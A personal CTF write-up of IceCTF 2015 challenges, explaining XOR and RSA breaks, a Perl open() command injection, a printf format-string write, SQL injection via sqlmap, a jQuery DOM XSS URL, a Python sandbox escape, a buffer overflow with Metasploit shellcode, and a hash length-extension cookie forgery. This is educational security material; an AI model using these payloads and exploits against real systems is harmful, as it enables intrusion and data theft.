I took part in another CTF, the Icelandic IceCTF. The the competition lasted a whole two weeks from 2015-08-10 to 2015-08-23. I decided to write a writeup of some of the problems I solved.


Hackers in disguise
Wiki & The Furious


We are given file encrypted by the following:

def xor(text, key1, key2):
    key1 = key1 * (len(text)//len(key1) + 1)
    key2 = key2 * (len(text)//len(key2) + 1)

    res = ""
    for i in range(len(text)):
        res += chr(ord(text[i]) ^ ord(key1[i]) ^ ord(key2[i]))
    return res

As the xor operation is associative – \((a \oplus b) \oplus c = a \oplus (b \oplus c)\), double xor is equivalent to single xor and so it can be solved in the same way. xortool is a very useful tool for finding the key length and then cracking the key.

$ xortool encrypted
The most probable key lengths:
   3:   11.5%
   7:   12.8%
   9:   13.3%
  12:   8.2%
  14:   9.7%
  18:   8.9%
  21:   14.8%
  27:   6.3%
  42:   7.1%
  63:   7.4%
Key-length can be 3*n
Most possible char is needed to guess the key!
$ xortool -l 63 -b encrypted
512 possible key(s) of length 63:
YQcDLEC<[\x1157D\x04Z":?N5:[ \\F+?C*\x15]DMF& ",?LD@YG&F=?A[!_#7F0 n]EN#:
YQcDLEC<[\x1157D\x04Z"\x7f?N5:[ \\F+?C*\x15]DMF& ",?LD@YG&F=?A[!_#7F0 n]EN#:
XPbEMDB=Z\x1046E\x05[#;>O4;Z!]G*>B+\x14\\ELG\'!#->MEAXF\'G<>@Z ^"6G1!o\\DO";
XPbEMDB=Z\x1046E\x05[#~>O4;Z!]G*>B+\x14\\ELG\'!#->MEAXF\'G<>@Z ^"6G1!o\\DO";
[SaFNGA>Y\x1375F\x06X 8=L78Y"^D)=A(\x17_FOD$" .=NFB[E$D?=CY#]!5D2"l_GL!8
Found 108 plaintexts with 95.0%+ printable characters
See files filename-key.csv, filename-char_used-perc_printable.csv
$ grep -r 'flag'
Binary file xortool_out/065.out matches
Binary file xortool_out/064.out matches

(the plaintext is utf-8 encoded, so it needs to be manually decoded as some of the characters come out mangled in the xortool-produced result)

Note that if the keys have lengths \(a,\space b\) the equivalent single key length will be \(lcm(a, b)\) bytes, which can be significantly larger than either \(a\) or \(b\). In this case this corresponds to \(lcm(7, 9) = 63\).

Hackers in disguise


use CGI;

$q = new CGI;
if (defined($q->param('Hacker'))) {
    print $q->header(-type=>'image/bmp');

    while (read(HACKER,$hackerb,1)) {
        print (chr (ord($hackerb) & ord($mustacheb) & ord($shadesb)));

So, it turns out, that perl’s open() has this fascinating “feature” allowing for command injection in the string passed to the call.

$ curl -v -G 'http://disguise.icec.tf/disguise.cgi' \
	--data-urlencode "Hacker=2.bmp|ls|" \
	--data-urlencode "Shades=3.bmp|ls|" \
	--data-urlencode "Mustache=3.bmp|ls|


int main(int argc, char **argv){
    int *ptr = &secret;

    if (secret == 1337){
    return 0;

Variadic function calls in C do not pass the number of parameters actually given to the function being called. This means that the callee has to derive it by some other means. In case of printf and the like it is by the amount of flags passed in the format string. An attacker in control of the string can then make printf to read data further down the stack which are not arguments. e. g. to dump the stack content:

$ ./fermat %x,%x,%x,%x,%x,%x,%x,%x

The address of the secret variable is 0x804a02c, which corresponds to the sixth argument. Now we need to write to it. One of the printf flag characters is %n, which writes the amount of characters already printed into a pointer. This allows the attacker to write (well, almost) arbitrary values to any pointer on the stack. Using that, the exploit string looks like this.

$ ./fermat "$(printf %1296s | tr " " "a")%x%x%x%x%x%x%n"


This time the provided file contains only the public key, the exponent and the ciphertext. As the hint says that the message is short and the public exponent \(e = 3\) the ciphertext is easy to recover.

RSA encryption is defined as

From this follows that:

By inspection, it can be seen, that if \(m\) is small, then \(k\) will also be small. Therefore it can easily be bruteforced:

while True:
    r, e = g.iroot(c, 3)
    if e:
    c += N


In this problem, the target is a web service written in CoffeeScript

├── index.coffee
├── package.json
├── public
│   └── coffee.jpg
└── views
    ├── 404.handlebars
    ├── coffee.handlebars
    ├── index.handlebars
    └── layouts
        └── main.handlebars
getCoffee = (name, args)->
    coffee =
        is_admin: false
        result: "Coffee not found"

        macchiato: (arg, cb) ->
            if arg
                cb("One macchiato with #{arg.join(' and ')} coming right up!")
                cb("One macchiato coming right up!")

        espresso: (arg, cb) ->
            # no milk 4 u :3
            cb("A single shot of espresso!")

        galao: (arg, cb) ->
            # The hell even is this
        # Assistance functions (NOT COFFEE)
        rebrew: ->
            "Rebrewed some coffee!"
        cleanup: ->
            "Cleaned up!"
    # Promises are awesome
    deferred = Q.defer()

    # Check that the coffee exists
    if (coffee[name]? and 
            name not in ["rebrew", "cleanup"] and
            typeof coffee[name] is "function")

        # Simulate the coffee
        coffee[name](args, (result) ->
            # This is a simulator, act like we're doing some work.
            setTimeout ->
                coffee.result = result
            , 200

            # Clean up after yourself
            deferred.promise.then ->
        # If the admin wants coffee, he gets it fresh.
        if coffee.is_admin
        # If it wasn't found, let's just print an error for the coffee name
    return deferred.promise

app.get '/:coffee', (req, res) ->
    args = if req.query.args? then req.query.args else []
    if typeof args is "string"
        args = [args]
    unless Array.isArray(args)
        return res.send("No.")
    getCoffee(req.params.coffee, args).then (coffee) ->
        # The admin always gets his favorite cup of joe :3
        if coffee.is_admin
            res.render("coffee", {result: coffee.result + " + secret admin spice :3"})
            res.render("coffee", {result: coffee.result})

This one took me quite a long time… The point here is, that JS objects are not maps. In a standard map, one would not expect any keys to be there by default.

> x = {}
> x.
x.__defineGetter__      x.__defineSetter__      x.__lookupGetter__      x.__lookupSetter__
x.__proto__             x.constructor           x.hasOwnProperty        x.isPrototypeOf
x.propertyIsEnumerable  x.toLocaleString        x.toString              x.valueOf

Therefore we can get the application to call an unexpected function like:

coffee.__defineGetter__(["is_admin"], function(result) {

Notice that all is_admin checks are not strictly typed, so it does not matter what does the getter return as long as it evaluates to true.



#!/usr/bin/env python

from __future__ import print_function
import sys

print("Welcome to my Python sandbox! Enter commands below! Please don't mess up my server though :/")

banned = [

targets = __builtins__.__dict__.keys()
dir = dir
for x in targets:
    del __builtins__.__dict__[x]

while 1:
    print(">>>", end=' ')
    data = raw_input()

    for no in banned:
        if no.lower() in data.lower():
            print("No bueno")
        exec data

This looks kind of bulletproof doesn’t it? Well, with some python trickery, the sandbox can be broken and the flag captured.

>>> class sstr("".__class__): pass
>>> sstr.lower = lambda self: self.upper()
>>> s = __builtins__.__dict__.keys()
>>> __builtins__.__dict__[s[1]]
>>> old = __builtins__.__dict__[s[1]]
>>> __builtins__.__dict__[s[1]] = lambda : sstr(old())
>>> os = sys.modules["os"]
>>> fl = os.open("flag.txt", 0)


def make_pool():
    prime_pool = eval(open("primes.txt").read())
    assert len(prime_pool) == 40
    return set(prime_pool)
prime_pool = make_pool()
        p = random.choice(list(prime_pool))
        q = random.choice(list(prime_pool - set([p])))
        self.request.send(hex(p*q).strip('0x').strip('L') + '\n')

This is a reference to the famous Debian key generation bug. After enough keys are gathered, some of them are going to have at least one prime in common with the key with which the message was encrypted. If two numbers share a prime factor, it can be recovered easily using Euclid’s algorithm and then the other prime factor can be recovered just by division.

with open("rsa3.data") as fl:
    target = int(fl.readlines()[0])

publics = set()

for l in open("keys.rsa"):
    publics.add(int(l, 16))

primes = set()
for pk in publics:
    g = gcd(pk, target)
    if g != 1:
        p = target // g
        q = g

assert p * q == target



$username = $_POST["register"];
$query = "SELECT * FROM users WHERE username='$username'";
$result = mysqli_query($con, $query);

if (mysqli_num_rows($result) !== 0) {
  die("Someone has already registered " . htmlspecialchars($username));

SQL Injection here. As there is no easy way to read the database directly, so I just opted to use sqlmap which can dump the database by using blind SQLI.

$ ./sqlmap.py -T users --dump --dbms mysql --method POST --data=register=g \
	-p register --prefix "'" -u 'http://web2015.icec.tf/authorize/register.php'


        self.request.send("Welcome to the Evilcorp message distribution service. Please enter your key number:\n")
        keyno = self.rfile.readline().strip()
            keyno = int(keyno)
            assert keyno < AGENTS and keyno >= 0
            self.wfile.write("Invalid key number\n")
        self.wfile.write("Key number recieved. Incoming transmission\n")

        rsakey = keys[keyno]
        self.wfile.write(chex(rsakey) + '\n')
        with open("motd.txt", "r") as f:
            m = int(f.read().encode("hex"), 16)
        self.wfile.write(chex(pow(m, 17, rsakey)) + '\n')
        self.wfile.write("End of transmission")

At first, this looked like the Håstad’s Broadcast Attack, but after implementing it in its vanilla form, it didn’t work. The hint seems to hint (hints in IceCTF are somewhat cryptic…) that motd.txt is longer than the public modulus. Remember, RSA can only encrypt \(m < n\).

What to do now? Let’s look at what Chinese Remainder Theorem gives us.

Given a system of equations of the form:

It calculates:

In the standard broadcast attack, it is guaranteed that \(c < N\) as soon as \(I >= e\), because \(m^e < min(n)^e\). Here however, is no such guarantee. So the only thing left is to gather more keys and ciphertexts and see how many we need to get an integer \(e-th\) root.

#! /usr/bin/env python3

import os
import random
import gmpy2 as g
from functools import reduce
from Crypto.PublicKey.RSA import inverse
from operator import mul
from binascii import unhexlify

kfils = [f for f in os.listdir(".") if f.endswith(".key")]
data = []
for k in kfils:
    with open(k) as f:
        data.append([int(f.readline(), 16), int(f.readline(), 16), k])

assert len(data) == 1000

data.sort(key = lambda x: x[0], reverse = True)

e = 17
ns = []
cs = []

for d in data:
    assert cs[-1] < ns[-1]

# We only need a reasonably big subset of the keys, too many keys take too much time
choose = 200
ns = ns[:choose]
cs = cs[:choose]

print("Calculating solution to a system of congruences...")

N = reduce(mul, ns)
ms = []
for n in ns:
    ms.append(N // n)

res = 0
for n, c, m in zip(ns, cs, ms):
    res += c * m * inverse(m, n)
res %= N

print("Taking the e-th root...")

mess, ex = g.iroot(res, e)

assert ex

print(unhexlify("%x" % mess))

This is actually quite cool. Every individual RSA encryption loses some information, but when enough results are gathered, the plaintext can be quite elegantly recovered.


This video is highly reminiscent of the Webdriver Torso YouTube channel. First, let’s take a look at the words being said.


Concatenating first letter of each word forms webdriver. Now, overlaying each pair of rectangles with a crude python script leads to:

Nothing exactly surprising yet. There is an html comment on the page containing the video:

Which leads to OpenPuff, steganography software, sadly for Windows. Luckily though, it runs under Wine just fine. After setting it according to the comment and using the password webdriver torso, it spits out mondrian.bmp

This image is actually a program, “written” in an esoteric language called piet. After picking an interpreter and running the image, it printed the flag to stdout.

$ ./npiet-1.3d/npiet mondrian.ppm


$ /home/supernote/supernote 
Temporary file is /home_users/ctf-8144/ctf1_sjUaQ1
Welcome to SuperNote v1. We're still in beta, so please excuse some bugs.
Please enter your email address: a@a
Please enter your name: atx
Enter the note that you would like to save: Lorem ipsum dolor...
Note saved.
Note saved locally.
$ ls
cron.d  cron.README  flag.txt  Makefile  supernote  supernote.c
$ cat cron.README
SuperNote python processing .task(s) are run in cron.d every minute. The snake is a beautiful creature.

So, the objective is to write a python script into the cron.d directory. The note is saved into the temporary file (created by tempnam()). The trick is, to make a symlink pointing from the temporary file into cron.d so the application writes content of the note there. The files inside cron.d are just python scripts with .task suffix.

Wiki & The Furious

This time, there is no persistent XSS. However, there is a comment functionality and there is a “Report Abuse” button for each individual button.

The permalink button generates a link with URL fragment of the form:


The Report Abuse sends a POST request containing:

Hm, so it seems that we can inject arbitrary fragment into the URL the admin opens. Let’s take a look at how the fragment is processed.

var showComment = function(){
    var hash = decodeURIComponent(location.hash); // Comment ID's can be pretty wierd
    var $comment = $(hash);        
    if($comment.length < 1) 
        scrollTop: $comment.offset().top
    }, 2000);
    $(".comment").css("background-color", "");
    $comment.css("background-color", "#eee");


Because jQuery selector does not only select elements but is also able to create them, this code is vulnerable to DOM XSS. The exploit url then looks like:

# decoded: /title#<img src=n onerror=alert("weee")> 


This is a first binary exploitation challenge which does not have sources available.

$ ./what 

So, let’s open radare2 and see what it does.

First, it takes the first two args and compares them to ausgeschnitzel and flugelfragen (I have no idea what these words mean and google translate is silent too).

It then gets the AUTH environment variable and passes it to a function

What happens when AUTH is empty?

$ AUTH="" ./what ausgeschnitzel flugelfragen
ERROR: Incorrect format, should be 'WHO/WHY/ !

There is an obvious buffer overflow in both the variables containing WHO and WHY. As WHY has to contain one of the valid reason strings, otherwise exit() gets called, this leaves us with WHO to exploit. The tricky part here is, that the exploit cannot contain / (0x2f). This means that my favourite x86 shellcode cannot be used. Metasploit to the rescue!

#! /usr/bin/env python3

import struct as s
import sys
import time

shell =  b""
shell += b"\xdb\xcf\xba\x66\x0c\x23\xc1\xd9\x74\x24\xf4\x5e\x29"
shell += b"\xc9\xb1\x0b\x31\x56\x1a\x83\xee\xfc\x03\x56\x16\xe2"
shell += b"\x93\x66\x28\x99\xc2\x25\x48\x71\xd9\xaa\x1d\x66\x49"
shell += b"\x02\x6d\x01\x89\x34\xbe\xb3\xe0\xaa\x49\xd0\xa0\xda"
shell += b"\x42\x17\x44\x1b\x7c\x75\x2d\x75\xad\x0a\xc5\x89\xe6"
shell += b"\xbf\x9c\x6b\xc5\xc0"

expl = b""

expl += b"A" * 140
expl += s.pack("I", 0xffffd2c8)  # First ret address
expl += b"\x90" * 500 # NOP sled
expl += shell

expl += b"/schadenfreude/"



class Auth {
    // Validates cookies
    static function authenticate(){
        $auth = false;
        if (isset($_COOKIE["auth"])) {
			$sig = $_COOKIE["sig"];
			if ($sig !== hash("sha256", AUTH_SECRET . strrev($_COOKIE["auth"]))) {
                $auth = false;
			} else {
				$auth = unserialize($_COOKIE["auth"]);
        } else {
        return $auth;

    // Validates a login and sets cookies
    static function login($username, $password) {
        if($username === USERNAME && $password === PASSWORD) {
            return true;
        } else {
            return false;

   // Creates cookies according to standards
    static function mkcookie($auth) {
        $s = serialize($auth);
		setcookie("auth", $s);
		setcookie("sig", hash("sha256", AUTH_SECRET . strrev($s)));
    // For debugging my gifs
    function __destruct() {
        $s = "<!-- {DEBUG} \n";
        $s .= "{TYPE}" . $this->filetype() . "{/TYPE} \n";
        $s .= "{SIZE}" . $this->filesize() . "{/SIZE} \n";
        $s .= "{CONTENTS}" . base64_encode($this->contents()) . "{/CONTENTS} \n";
        $s .= "{/DEBUG} -->";
        echo $s;

Objective here is to get the application to unserialize new File("flag.txt") as it outputs its contents in its destructor if ?debug=1 is set.

The fact that using \(hash(secret + message)\) to sign messages instead of HMAC is bad idea is well known as it can be vulnerable to the Length extension attack which, given \(hash(secret + s_1), \space s_1\), can compute \(hash(secret + s_2)\) (the attacker has to know the length of secret, which in this case is 40 bytes, but it can be easily brute forced if unknown).

We have the value of hash("sha256", AUTH_SECRET . strrev(serialize(false))), and need hash("sha256", AUTH_SECRET . strrev(serialize(new File("flag.txt")))) Luckily, there is a Python library hlextend which implements the necessary functions to calculate the hash.

>>> pld = b64decode("Tzo0OiJGaWxlIjoxOntzOjExOiIAKgBmaWxlbmFtZSI7czo4OiJmbGFnLnR4dCI7fQ==")
>>> h = hl.sha256()
>>> h.extend(pld[::-1], ";0:b", 40, "64094e32684fd343d07146719931a1fb49b41058818061e32676b6943e989593")
>>> b = b";0:b\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
>>> quote(b)
>>> h.hexdigest()


Dear Princess Celestia, this week I learned…

  • RSA is really trivial to break without proper padding
  • jQuery’s $(…) needs to have sanitized input
  • Perl is weird
  • Metasploit is able to generate shellcode without specific arbitrary characters
  • There is an easy way to exploit \(hash(secret + message)\) used as signature
  • JavaScript objects can behave unexpectedly when used as a map
  • piet exists
  • sqlmap is awesome